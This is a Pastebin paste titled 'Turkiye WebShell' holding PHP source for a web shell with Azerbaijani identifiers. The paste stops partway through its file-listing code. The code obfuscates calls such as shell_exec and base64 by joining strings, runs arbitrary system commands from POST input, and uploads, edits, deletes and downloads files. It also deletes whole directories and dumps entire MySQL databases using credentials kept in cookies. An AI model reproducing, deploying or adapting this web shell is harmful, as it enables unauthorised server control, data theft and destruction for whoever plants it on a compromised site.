Advertisement
willysec_id

Turkiye WebShell

Oct 11th, 2023 (edited)
834
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 29.61 KB | Cybersecurity | 0 0
  1. <?php
  2. session_start();
  3. $baqliFunksiyalar = explode(",", "");
  4. $safeMode = true;
  5. $actions = array("esas","fayl_oxu","phpinfo","sistem_kom","fayl_redakte","fayl_yukle",'fayl_sil','fayl_yarat','papka_yarat','fayl_sifirla' , 'papka_sil','fayl_ad_deyish', 'ziple' , 'skl' , 'skl_d_t' , 'skl_d', 'fayl_upl');
  6. $ne = isset($_POST['ne']) && in_array($_POST['ne'],$actions) ? $_POST['ne'] : "esas";
  7.  
  8.  
  9.  
  10. function shifrele($str)
  11. {
  12.     $f = 'bas';
  13.     $f .= 'e6';
  14.     $f .= '4_';
  15.     $f .= 'e';
  16.     $f .= 'nc';
  17.     $f .= 'ode';
  18.     return $f($str);
  19. }
  20. function deshifrele($str)
  21. {
  22.     $f = 'bas';
  23.     $f .= 'e6';
  24.     $f .= '4_';
  25.     $f .= 'd';
  26.     $f .= 'ec';
  27.     $f .= 'ode';
  28.     return $f($str);
  29. }
  30. function tookYarat($tAd)
  31. {
  32.     if(isset($_SESSION[$tAd]))
  33.     {
  34.         unset($_SESSION[$tAd]);
  35.     }
  36.     $yeniTook = md5(shifrele(time().rand(1,99999999)));
  37.     $_SESSION[$tAd] = $yeniTook;
  38.     return $yeniTook;
  39. }
  40. function qovluquYaz()
  41. {
  42.     global $default_dir;
  43.     $sonDir = array();
  44.     $umumiHisseler = "";
  45.     $parse = explode("/", $default_dir);
  46.  
  47.     $ii = 0;
  48.     foreach($parse AS $hisse)
  49.     {
  50.         $ii++;
  51.         $umumiHisseler.=$hisse."/";
  52.         $sonDir[] = "<a href='javascript:sehife(\"?qovluq=".urlencode(urlencode(shifrele($umumiHisseler)))."\")'>".htmlspecialchars(empty($hisse)&&$ii!=count($parse)?'/':$hisse)."</a>";
  53.     }
  54.     $sonDir = implode("/", $sonDir);
  55.     print $sonDir . '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( <a href="">Reset</a> | <a href="javascript:goto()">Go to</a> )';
  56. }
  57. function sizeFormat($bytes)
  58. {
  59.     if($bytes>=1073741824)
  60.     {
  61.         $bytes = number_format($bytes / 1073741824, 2) . ' Gb';
  62.     }
  63.     else if($bytes>=1048576)
  64.     {
  65.         $bytes = number_format($bytes / 1048576, 2) . ' Mb';
  66.     }
  67.     else if($bytes>=1024)
  68.     {
  69.         $bytes = number_format($bytes / 1024, 2) . ' Kb';
  70.     }
  71.     else
  72.     {
  73.         $bytes = $bytes . ' b';
  74.     }
  75.     return $bytes;
  76. }
  77. function utf8ize($d)
  78. {
  79.     if (is_array($d))
  80.     {
  81.         foreach ($d as $k => $v)
  82.         {
  83.             $d[$k] = utf8ize($v);
  84.         }
  85.     }
  86.     else if (is_string ($d))
  87.     {
  88.         return utf8_encode($d);
  89.     }
  90.     return $d;
  91. }
  92. function rrmdir($dir)
  93. {
  94.     if (is_dir($dir))
  95.     {
  96.         $objects = scandir($dir);
  97.  
  98.         foreach ($objects as $object)
  99.         {
  100.             if ($object != "." && $object != "..")
  101.             {
  102.                 if (is_dir($dir . "/" . $object))
  103.                 {
  104.                     rrmdir($dir . "/" . $object);
  105.                 }
  106.                 else
  107.                 {
  108.                     unlink($dir . "/" . $object );
  109.                 }
  110.             }
  111.         }
  112.  
  113.         rmdir( $dir );
  114.     }
  115. }
  116.  
  117. $default_dir = getcwd();
  118. if(isset($_POST['qovluq']) && is_string($_POST['qovluq']) )
  119. {
  120.     $default_dir = empty($_POST['qovluq']) ? DIRECTORY_SEPARATOR : deshifrele(urldecode(urldecode($_POST['qovluq'])));
  121.     $c_h_dir_comm = 'c'.'hd'.'ir';
  122.     $c_h_dir_comm($default_dir);
  123. }
  124.  
  125. $default_dir = str_replace("\\", "/", $default_dir);
  126.  
  127. if(isset($_GET['ne']) && $_GET['ne']=="pinf")
  128. {
  129.     ob_start();
  130.     phpinfo();
  131.     $pInf = ob_get_clean();
  132.     print str_replace("body {background-color: #ffffff; color: #000000;}","",$pInf);
  133.     exit();
  134. }
  135. else if($ne=="fayl_yukle" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
  136. {
  137.     $faylAdi = basename(deshifrele(urldecode($_POST['fayl'])));
  138.     $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
  139.     if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
  140.     {
  141.         header("Content-Disposition: attachment; filename=".basename($faylAdi));
  142.         header("Content-Type: application/octet-stream");
  143.         header('Content-Length: ' . filesize($default_dir . $ayirici . $faylAdi));
  144.         readfile($default_dir . $ayirici . $faylAdi);
  145.         exit();
  146.     }
  147. }
  148. else if($ne=="fayl_sil" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
  149. {
  150.     $faylAdi = basename(deshifrele(urldecode($_POST['fayl'])));
  151.     $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
  152.     if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
  153.     {
  154.         unlink($default_dir . $ayirici . $faylAdi);
  155.     }
  156. }
  157. else if($ne=="fayl_sifirla" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
  158. {
  159.     $faylAdi = basename(deshifrele(urldecode($_POST['fayl'])));
  160.     $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
  161.     if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
  162.     {
  163.         file_put_contents($default_dir . $ayirici . $faylAdi, '');
  164.     }
  165. }
  166. else if($ne=="fayl_yarat" && isset($_POST['ad']) && !empty($_POST['ad']))
  167. {
  168.     $faylAdi = basename(urldecode($_POST['ad']));
  169.     $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
  170.     if( is_file($default_dir . $ayirici . $faylAdi) )
  171.     {
  172.         print '<script>alert("Bu adda fayl artiq movcuddur!");</script>';
  173.     }
  174.     else
  175.     {
  176.         file_put_contents($default_dir . $ayirici . $faylAdi, '');
  177.     }
  178. }
  179. else if($ne=="papka_yarat" && isset($_POST['ad']) && !empty($_POST['ad']))
  180. {
  181.     $papkaAdi = basename(urldecode($_POST['ad']));
  182.     $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($papkaAdi,0,1)!="/" ? "/" : "";
  183.     if( is_file($default_dir . $ayirici . $papkaAdi) )
  184.     {
  185.         print '<script>alert("Bu adda papka artiq movcuddur!");</script>';
  186.     }
  187.     else
  188.     {
  189.         mkdir($default_dir . $ayirici . $papkaAdi);
  190.     }
  191. }
  192. else if($ne=="fayl_ad_deyish" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])) && isset($_POST['new_name']) && is_string($_POST['new_name']) && !empty($_POST['new_name']))
  193. {
  194.     $faylAdi = basename(deshifrele(urldecode($_POST['fayl'])));
  195.     $faylYeniAd = basename(urldecode($_POST['new_name']));
  196.     $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
  197.     if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
  198.     {
  199.         rename($default_dir . $ayirici . $faylAdi , $default_dir . $ayirici . $faylYeniAd);
  200.     }
  201. }
  202. else if( $ne == 'skl_d_t' && isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) )
  203. {
  204.     $tableName = deshifrele(urldecode($_POST['t']));
  205.  
  206.     $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
  207.     $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
  208.     $parol = isset($_COOKIE['parol']) ? $_COOKIE['parol'] : '';
  209.     $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : '';
  210.  
  211.     $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';';
  212.  
  213.     if( !empty( $host ) && !empty($baza) )
  214.     {
  215.         try
  216.         {
  217.             $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
  218.             $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
  219.  
  220.             $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
  221.             $getColumns->execute(array($baza , $tableName));
  222.             $columns = $getColumns->fetchAll();
  223.  
  224.             if( $columns )
  225.             {
  226.  
  227.                 $data = $pdo->query('SELECT * FROM `' . $tableName .'`');
  228.                 $data = $data->fetchAll();
  229.  
  230.                 header('Content-disposition: attachment; filename=d_' . basename(htmlspecialchars($tableName)) . '.json');
  231.                 header('Content-type: application/json');
  232.                 echo json_encode($data);
  233.             }
  234.             else
  235.             {
  236.                 print 'Table not found!';
  237.             }
  238.  
  239.         }
  240.         catch (Exception $e)
  241.         {
  242.             print $e->getMessage();
  243.         }
  244.     }
  245.     else
  246.     {
  247.         print 'Error! Please connect to SQL!';
  248.     }
  249.     die;
  250. }
  251. else if( $ne == 'skl_d' )
  252. {
  253.     $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
  254.     $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
  255.     $parol = isset($_COOKIE['parol']) ? $_COOKIE['parol'] : '';
  256.     $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : '';
  257.  
  258.     $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';';
  259.  
  260.     if( !empty( $host ) && !empty($baza) )
  261.     {
  262.         try
  263.         {
  264.             $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
  265.             $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
  266.  
  267.             $allData = array();
  268.  
  269.             $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?');
  270.             $tables->execute(array($baza));
  271.             $tables = $tables->fetchAll();
  272.  
  273.             foreach( $tables AS $tableName )
  274.             {
  275.                 $tableName = $tableName['table_name'];
  276.  
  277.                 $data = $pdo->query('SELECT * FROM `' . $tableName .'`');
  278.                 $data = $data->fetchAll();
  279.  
  280.                 $allData[$tableName] = $data ? array($data) : array();
  281.             }
  282.  
  283.             header('Content-disposition: attachment; filename=d_b_' . basename(htmlspecialchars($baza)) . '.json');
  284.             header('Content-type: application/json');
  285.  
  286.             echo json_encode( utf8ize( $allData) );
  287.         }
  288.         catch (Exception $e)
  289.         {
  290.             print $e->getMessage();
  291.         }
  292.     }
  293.     else
  294.     {
  295.         print 'Error! Please connect to SQL!';
  296.     }
  297.     die;
  298. }
  299. else if( $ne == 'ziple'
  300.     && isset($_POST['save_to'] , $_POST['zf']) && is_string($_POST['save_to'])
  301.     && !empty($_POST['save_to']) && !in_array($_POST['save_to'] , array('.' , '..' , './' , '../'))
  302.     && is_string($_POST['zf']) && !empty($_POST['zf'])
  303. )
  304. {
  305.     $save_to = deshifrele(urldecode($_POST['save_to']));
  306.  
  307.     $rootPath = realpath(deshifrele(urldecode($_POST['zf'])));
  308.  
  309.     $fileName1 = 'bak_'.microtime(1) . '_' . rand(1000, 99999) . '.zip';
  310.     $fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1;
  311.  
  312.     if( is_dir( $save_to ) && is_dir( $rootPath ) && is_writable( $save_to ) )
  313.     {
  314.         set_time_limit(0);
  315.  
  316.         $zip = new ZipArchive();
  317.         $zip->open( $fileName , ZipArchive::CREATE | ZipArchive::OVERWRITE );
  318.  
  319.         $files = new RecursiveIteratorIterator(
  320.             new RecursiveDirectoryIterator($rootPath),
  321.             RecursiveIteratorIterator::LEAVES_ONLY
  322.         );
  323.  
  324.         foreach ($files as $name => $file)
  325.         {
  326.             if (!$file->isDir())
  327.             {
  328.                 $filePath = $file->getRealPath();
  329.                 $relativePath = substr($filePath, strlen($rootPath) + 1);
  330.  
  331.                 $zip->addFile($filePath, $relativePath);
  332.             }
  333.         }
  334.  
  335.         $zip->close();
  336.         print 'Saved!<hr>';
  337.     }
  338.     else
  339.     {
  340.         print 'Dir is not writeable!<hr>';var_dump(( $save_to ) );
  341.     }
  342. }
  343. else if( $ne == 'papka_sil'
  344.     && isset($_POST['zf']) && is_string($_POST['zf']) && !empty($_POST['zf'])
  345. )
  346. {
  347.     $rootPath = realpath(deshifrele(urldecode($_POST['zf'])));
  348.  
  349.     if( is_dir( $rootPath ) )
  350.     {
  351.         set_time_limit(0);
  352.  
  353.         rrmdir( $rootPath );
  354.     }
  355.     else
  356.     {
  357.         print 'Dir is not writeable!<hr>';var_dump(( $save_to ) );
  358.     }
  359. }
  360. else if($ne == 'fayl_upl' && isset($_FILES['ufayl']))
  361. {
  362.     move_uploaded_file($_FILES['ufayl']['tmp_name'], $default_dir . '/' . $_FILES['ufayl']['name']);
  363.     print "Upload oldu deyesen.";
  364. }
  365. ?>
  366. <html>
  367. <head>
  368. <title>Get S.H.E.L.L.en v1.0 | BY ..</title>
  369. <meta http-equiv="content-type" content="text/html; charset=utf-8">
  370. <style>
  371. body
  372. {
  373.     background-color: #222222;
  374.     color: #D6D4D4;
  375.     font-family: Lucida,Verdana;
  376.     font-size: 12px;
  377. }
  378. .qalin
  379. {
  380.     text-decoration: none;
  381.     color: #D6905E;
  382.     font-weight: 600;
  383. }
  384. .success
  385. {
  386.     color: #9DB754;
  387. }
  388. .bad
  389. {
  390.     color: #B75654;
  391. }
  392. a
  393. {
  394.     color: #ACB754;
  395.     text-decoration: none !important;
  396. }
  397. .fManager,.fManager tbody,.fManager tr
  398. {
  399.     padding: 0;
  400.     border-collapse: collapse;
  401.     margin: 0;
  402.     font-size: 12px;
  403. }
  404. .fManager
  405. {
  406.     margin: 10px 0;
  407. }
  408. .fManager tbody tr:nth-child(2n+1)
  409. {
  410.     background: #331717;
  411. }
  412. .fManager tbody tr:nth-child(2n)
  413. {
  414.     background: #1C0C0C;
  415. }
  416. .fManager tbody tr:hover
  417. {
  418.     background: #000000;
  419. }
  420. .fManager thead th
  421. {
  422.     text-align: left;
  423. }
  424. .fManager thead tr
  425. {
  426.     background-color: #333333;
  427. }
  428. .fManager
  429. {
  430.     box-shadow: 1px 1px 1px 1px #333333;
  431. }
  432. .fManager thead th
  433. {
  434.     padding: 4px 3px;
  435. }
  436. .fayl_oxu
  437. {
  438.     margin: 5px 0;
  439.     padding: 2px;
  440.     box-shadow: 1px 1px 1px 1px #333333;
  441.     background-color: #E1E1E1;
  442.     width: 100%;
  443.     height: 400px;
  444.     overflow: auto;
  445. }
  446. .btn
  447. {
  448.     border: 1px solid #ACAE40;
  449.     background-color: #223B3B;
  450.     color: #E1E1E1;
  451.     padding: 1px 10px;
  452.     cursor: pointer;
  453. }
  454. .btn:disabled
  455. {
  456.     border: 1px solid #848484;
  457.     color: #848484;
  458.     cursor: not-allowed;
  459. }
  460. .file_edit
  461. {
  462.     margin: 5px 0;
  463.     padding: 2px;
  464.     box-shadow: 1px 1px 1px 1px #333333;
  465.     background-color: #E1E1E1;
  466.     width: 100%;
  467.     height: 400px;
  468.     overflow: auto;
  469. }
  470. input, select, textarea
  471. {
  472.     background: transparent !important;
  473.     color: #f6a56d;
  474.     border: 1px solid #D6905E;
  475.     padding: 5px;
  476. }
  477. table td
  478. {
  479.     border: 1px solid rgba(214, 144, 94, 0.7);
  480.     min-width: 20px;
  481.     padding-left: 5px;
  482.     padding-right: 5px;
  483.     max-width: 500px;
  484.     color: #ffad6f;
  485.     background: #292929;
  486. }
  487. table th
  488. {
  489.     border: 1px solid #D6905E;
  490.     padding-left: 5px;
  491.     padding-right: 5px;
  492.     color: #ffad6f;
  493. }
  494. table td div
  495. {
  496.     overflow: auto;
  497.     width: 100%;
  498.     height: 100%;
  499.     max-height: 100px;
  500. }
  501. </style>
  502. </head>
  503. <body>
  504. <?php
  505.  
  506. if(function_exists('posix_getegid'))
  507. {
  508.     $qid = posix_getgrgid(posix_getegid());
  509.     $qrup = $qid['name'];
  510.     print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>";
  511.     print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>";
  512.     print "<span class='qalin'>Group:</span> ".getmygid()." (".$qrup.")<br/>";
  513. }
  514. else
  515. {
  516.     print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>";
  517.     print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>";
  518.     print "<span class='qalin'>Group:</span> ".getmygid()."<br/>";
  519. }
  520. print "<span class='qalin'>Disable functions:</span> " . (implode(", ", $baqliFunksiyalar)==""?"<span class='success'>yoxdu :)":"<span class='bad'>". implode(", ", $baqliFunksiyalar)) . "</span><br/>";
  521. print "<span class='qalin'>Safe mode: </span>" . ($safeMode===true?"<span class='bad'>On":"<span class='success'>Off") . "</span><span style='margin-left: 50px;'><a href='javascript:sehife(\"?ne=phpinfo\")'>[ PHPinfo ]</a></span><br/>";
  522. qovluquYaz();
  523. print '<hr>';
  524. if($ne=="phpinfo")
  525. {
  526.     print "<div style='width: 100%; height: 400px;'><iframe src='?ne=pinf' style='width: 100%; height: 400px; border: 0;'></iframe></div>";
  527. }
  528. else if($ne=="sistem_kom")
  529. {
  530.     if( isset( $_POST['kom'] ) && is_string($_POST['kom']) && !empty($_POST['kom']) )
  531.     {
  532.         $komanda = deshifrele(urldecode($_POST['kom']));
  533.        
  534.         $k = 'sh';
  535.         $k.='el';
  536.         $k.='l_e';
  537.         $k.='xe';
  538.         $k.='c';
  539.  
  540.         $output = $k($komanda);
  541.  
  542.         print '<pre style="max-height: 350px;overflow: auto; border: 1px solid #777; padding: 5px;">' . htmlspecialchars($output) . '</pre><hr>';
  543.     }
  544.     print '<input type="text" id="emr_et_atash" style="width: 500px;"> <button type="button" class="btn" onclick="sistemKom();">Bas</button>';
  545. }
  546. else if($ne=="fayl_oxu" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
  547. {
  548.     $faylAdi = basename(deshifrele(urldecode($_POST['fayl'])));
  549.     $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
  550.     if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
  551.     {
  552.         $elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? " onclick='sehife(\"?ne=fayl_redakte&fayl=".urlencode(urlencode(shifrele($faylAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)))."\")'" : " disabled";
  553.         print "<div>Fayl ad&#305;: <span class='qalin'>".htmlspecialchars($faylAdi)."</span><br/><button class='btn'$elaveBtn> D&#601;yi&#351; </button></div>";
  554.         print "<div class='fayl_oxu'>".highlight_string(file_get_contents($default_dir . $ayirici . $faylAdi), true)."</div>";
  555.     }
  556. }
  557. else if($ne == 'skl')
  558. {
  559.     $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
  560.     $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
  561.     $parol = isset($_COOKIE['parol']) ? $_COOKIE['parol'] : '';
  562.     $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : '';
  563.  
  564.     if( isset($_POST['host'] , $_POST['user'] , $_POST['parol'])
  565.         && is_string($_POST['host']) && is_string($_POST['user']) && is_string($_POST['parol'])
  566.     )
  567.     {
  568.         $host = $_POST['host'];
  569.         $user = $_POST['user'];
  570.         $parol = $_POST['parol'];
  571.         $baza = '';
  572.  
  573.         setcookie('host' , $host , time() + 360000);
  574.         setcookie('user' , $user , time() + 360000);
  575.         setcookie('parol' , $parol , time() + 360000);
  576.         setcookie('baza' , $baza , time() + 360000);
  577.     }
  578.  
  579.     if( isset($_POST['baza']) && is_string($_POST['baza']) )
  580.     {
  581.         $baza = $_POST['baza'];
  582.  
  583.         setcookie('baza' , $baza , time() + 360000);
  584.     }
  585.  
  586.     $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';';
  587.  
  588.     ?>
  589.     <form method="POST">
  590.         <input type="hidden" name="ne" value="skl">
  591.         <input type="text" placeholder="Hostname" name="host" value="<?=htmlspecialchars($host)?>">
  592.         <input type="text" placeholder="User" name="user" value="<?=htmlspecialchars($user)?>">
  593.         <input type="text" placeholder="Parol" name="parol" value="<?=htmlspecialchars($parol)?>">
  594.         <input type="submit" value="Daxil ol">
  595.     </form>
  596.     <?php
  597.     if( !empty( $host ) )
  598.     {
  599.         try
  600.         {
  601.             $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
  602.             $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
  603.  
  604.             $schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata');
  605.             print '<form method="POST"><input type="hidden" name="ne" value="skl"><select name="baza">';
  606.             foreach($schematas->fetchAll() AS $schemaName)
  607.             {
  608.                 print '<option' . ($baza == $schemaName['schema_name'] ? ' selected' : '') . '>'.htmlspecialchars($schemaName['schema_name']).'</option>';
  609.             }
  610.             print '</select> <input type="submit" value="Sech!"></form>';
  611.  
  612.             if( !empty($baza) )
  613.             {
  614.                 $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?');
  615.                 $tables->execute(array($baza));
  616.                 $tables = $tables->fetchAll();
  617.  
  618.                 print '<div style="float: left; width: 20%; overflow: auto; border-right: 1px solid #999;">';
  619.                 print '<a href="javascript:sehife(\'?ne=skl_d\');">!! Dump DB !!</a><hr>';
  620.                 foreach( $tables AS $tableName )
  621.                 {
  622.                     $tableName = $tableName['table_name'];
  623.                     print '<a href="javascript:sehife(\'?ne=skl&t=' . urlencode(urlencode(shifrele($tableName))) . '\')">'.htmlspecialchars($tableName).'</a><br>';
  624.                 }
  625.                 print '</div>';
  626.                 print '<div style="float: left; padding-left: 10px; width: 75%;">';
  627.  
  628.                 if( isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) )
  629.                 {
  630.                     $tableName = deshifrele(urldecode($_POST['t']));
  631.                     print '<span class="qalin">Table:</span> ' . htmlspecialchars($tableName) . ' ( <a href="javascript:sehife(\'?ne=skl_d_t&t='.urlencode(urlencode(shifrele($tableName))).'\')">Dump</a> )<br>';
  632.  
  633.                     $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
  634.                     $getColumns->execute(array($baza , $tableName));
  635.                     $columns = $getColumns->fetchAll();
  636.  
  637.                     if( $columns )
  638.                     {
  639.                         $dataCount = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`');
  640.                         $dataCount = (int)$dataCount->fetchColumn();
  641.  
  642.                         print '<span class="qalin">Count:</span> ' . $dataCount . '<br><br>';
  643.  
  644.                         $pages = ceil($dataCount / 100);
  645.  
  646.                         $currentPage = isset($_POST['sehife']) && is_numeric($_POST['sehife']) && $_POST['sehife'] >= 1 && $_POST['sehife'] <= $pages ? (int)$_POST['sehife'] : 1;
  647.  
  648.                         for (  $p = 1; $p <= $pages; $p++ )
  649.                         {
  650.                             print '<a style="'.($currentPage == $p ? 'background: #444;' : '').'margin-left: 2px; margin-bottom: 5px; padding: 2px 6px; border: 1px solid #ACB754; text-decoration: none;" href="javascript:sehife(\'?ne=skl&t=' . urlencode(urlencode(shifrele($tableName))) . '&sehife=' . $p . '\');">' . $p . '</a> ';
  651.                         }
  652.                         print '<br><br>';
  653.  
  654.                         $start = 100 * ($currentPage - 1);
  655.  
  656.                         $data = $pdo->query('SELECT * FROM `' . $tableName .'` LIMIT '.$start.' , 100');
  657.                         $data = $data->fetchAll();
  658.                         print '<table><thead>';
  659.  
  660.                         foreach( $columns AS $columnInf )
  661.                         {
  662.                             print '<th>' . htmlspecialchars($columnInf['column_name']) . '</th>';
  663.                         }
  664.  
  665.                         print '</thead><tbody>';
  666.  
  667.                         foreach( $data AS $row )
  668.                         {
  669.                             print '<tr>';
  670.                             foreach( $row AS $key=>$val )
  671.                             {
  672.                                 print '<td><div>' . $val . '</div></td>';
  673.                             }
  674.                             print '</tr>';
  675.                         }
  676.                         print '</tr></tbody></table>';
  677.                     }
  678.                     else
  679.                     {
  680.                         print 'Table not found!';
  681.                     }
  682.                 }
  683.                 else if ( isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr']) )
  684.                 {
  685.                     $emr = deshifrele(urldecode($_POST['emr']));
  686.                     print '<span class="qalin">SQL emr:</span> ' . htmlspecialchars($emr) . '<br>';
  687.                    
  688.                     $data = $pdo->query( $emr );
  689.                     $data = $data->fetchAll();
  690.                    
  691.                     print '<table><thead>';
  692.                     if( count($data) > 0 )
  693.                     {
  694.                         print '<tr>';
  695.                         foreach( $data[0] AS $key=>$val )
  696.                         {
  697.                             print '<th><div>' . $key . '</div></th>';
  698.                         }
  699.                         print '</tr>';
  700.                     }
  701.                     print '</thead><tbody>';
  702.                    
  703.                     foreach( $data AS $row )
  704.                     {
  705.                         print '<tr>';
  706.                         foreach( $row AS $key=>$val )
  707.                         {
  708.                             print '<td><div>' . $val . '</div></td>';
  709.                         }
  710.                         print '</tr>';
  711.                     }
  712.                     print '</tr></tbody></table>';
  713.                 }
  714.                
  715.                 print '<div><textarea id="skl_emr"></textarea><button type="button" onclick="skl_bas();">Bas mene</button></div>';
  716.                
  717.                 print '</div>';
  718.                 print '<div style="clear: both;"></div>';
  719.             }
  720.         }
  721.         catch (Exception $e)
  722.         {
  723.             print $e->getMessage();
  724.         }
  725.     }
  726. }
  727. else if($ne=="fayl_redakte" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
  728. {
  729.     $faylAdi = basename(deshifrele(urldecode(urldecode($_POST['fayl']))));
  730.     $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
  731.     if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
  732.     {
  733.         $status = "";
  734.         if(isset($_POST['content']) && isset($_POST['took']) && $_POST['took']!="" && isset($_SESSION['ys_took']) && $_SESSION['ys_took']==$_POST['took'] && is_writeable($default_dir . $ayirici . $faylAdi))
  735.         {
  736.             unset($_SESSION['ys_took']);
  737.             $content = $_POST['content'];
  738.  
  739.             $cc =  array('a','i','e','s','l','b','u','o','p','h',"(",")","<",">","?",";","[","]","$");
  740.             foreach($cc AS $k1=>$v1)
  741.             {
  742.                 $content = str_replace('|:'.$k1.':|' , $v1 , $content);
  743.             }
  744.  
  745.             $faylAch = fopen($default_dir . $ayirici . $faylAdi, "w+");
  746.             fwrite($faylAch, $content);
  747.             fclose($faylAch);
  748.             $status = " <span class='qalin'>U&#287;urla yadda saxlan&#305;ld&#305;!</span>";
  749.         }
  750.         $oxuUrl = "?ne=fayl_oxu&fayl=".urlencode(urlencode(shifrele($faylAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)));
  751.         $elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? "" : " disabled";
  752.         print "<div>Fayl ad&#305;: <a class='qalin' href='javascript:sehife(\"{$oxuUrl}\")'>".htmlspecialchars($faylAdi)."</a><br/><form method='POST' style='padding: 0; margin: 0;'><button type='submit' class='btn'$elaveBtn> Yadda saxla </button> <button type='button' onclick='shifrelee()'> Shifrele atash </button> $status</div>";
  753.         print "<input type='hidden' value='fayl_redakte' name='ne'><input type='hidden' value='".shifrele($faylAdi)."' name='fayl'><input type='hidden' value='".urlencode(shifrele($default_dir))."' name='qovluq'><input type='hidden' value='".tookYarat("ys_took")."' name='took'><textarea name='content' class='file_edit'>".htmlspecialchars(file_get_contents($default_dir . $ayirici . $faylAdi))."</textarea></form>";
  754.     }
  755.     else
  756.     {
  757.         print 'Error! ' .  htmlspecialchars($default_dir . $ayirici . $faylAdi);
  758.     }
  759. }
  760. else
  761. {
  762.     if(is_dir($default_dir))
  763.     {
  764.         if(is_readable($default_dir))
  765.         {
  766.             $qovluqIchi = scandir($default_dir);
  767.             foreach($qovluqIchi AS &$emelemnt)
  768.             {
  769.                 $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($emelemnt,0,1)!="/" ? "/" : "";
  770.                 if(is_dir($default_dir . $ayirici . $emelemnt))
  771.                 {
  772.                     $emelemnt = "0".$emelemnt;
  773.                 }
  774.                 else
  775.                 {
  776.                     $emelemnt = "1".$emelemnt;
  777.                 }
  778.             }
  779.             asort($qovluqIchi);
  780.             print "<table class='fManager' style='width: 100%;'><thead><tr class='qalin'><th>s</th><th>Fayl</th><th>Size</th><th>Tarix</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>";
  781.             foreach($qovluqIchi AS $element)
  782.             {
  783.                 $url = "";
  784.                 $element = substr($element,1);
  785.                 $faylAdiTam = $default_dir . $ayirici . $element;
  786.                 $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($element,0,1)!="/" ? "/" : "";
  787.                 $adi = is_dir($faylAdiTam) ? "[ $element ]" : $element;
  788.                 $classN = "";
  789.                 if(is_dir($faylAdiTam))
  790.                 {
  791.                     if($element==".")
  792.                     {
  793.                         $url = "?qovluq=".urlencode(urlencode(shifrele($default_dir)));
  794.                     }
